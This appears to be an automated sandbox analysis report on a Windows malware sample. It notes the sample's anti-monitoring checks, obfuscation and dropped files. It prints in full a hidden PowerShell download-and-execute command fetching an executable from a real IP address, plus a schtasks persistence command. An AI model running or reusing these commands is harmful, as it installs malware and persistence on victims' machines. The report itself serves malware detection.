Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_001D42DE
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: real checksum: 0x1d5d21 should be: 0x1ca941
Source: rapes.exe.19.dr Static PE information: real checksum: 0x1d5d21 should be: 0x1ca941
PE file contains sections with non-standard names
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name:
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: .idata
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name:
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: vyhhgzxi
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: okzpskpe
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: .taggant
Source: rapes.exe.19.dr Static PE information: section name:
Source: rapes.exe.19.dr Static PE information: section name: .idata
Source: rapes.exe.19.dr Static PE information: section name:
Source: rapes.exe.19.dr Static PE information: section name: vyhhgzxi
Source: rapes.exe.19.dr Static PE information: section name: okzpskpe
Source: rapes.exe.19.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001F0A76 push ecx; ret 0_2_001F0A89
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_032431AA pushfd ; ret 6_2_032431B9
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: entropy: 7.974981044395583
Source: TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE.6.dr Static PE information: section name: vyhhgzxi entropy: 7.953926245914408
Source: rapes.exe.19.dr Static PE information: section name: entropy: 7.974981044395583
Source: rapes.exe.19.dr Static PE information: section name: vyhhgzxi entropy: 7.953926245914408

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d; Jump to behavior
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Jump to dropped file
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn nunflmahplF /tr "mshta C:\Users\user\AppData\Local\Temp\3bp2mYNSQ.hta" /sc minute /mo 25 /ru "user" /f
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File created: C:\Windows\Tasks\rapes.job Jump to behavior
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_001EF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 0_2_001EF98E
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00261C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 0_2_00261C41
Source: C:\Users\user\Desktop\random.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\random.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
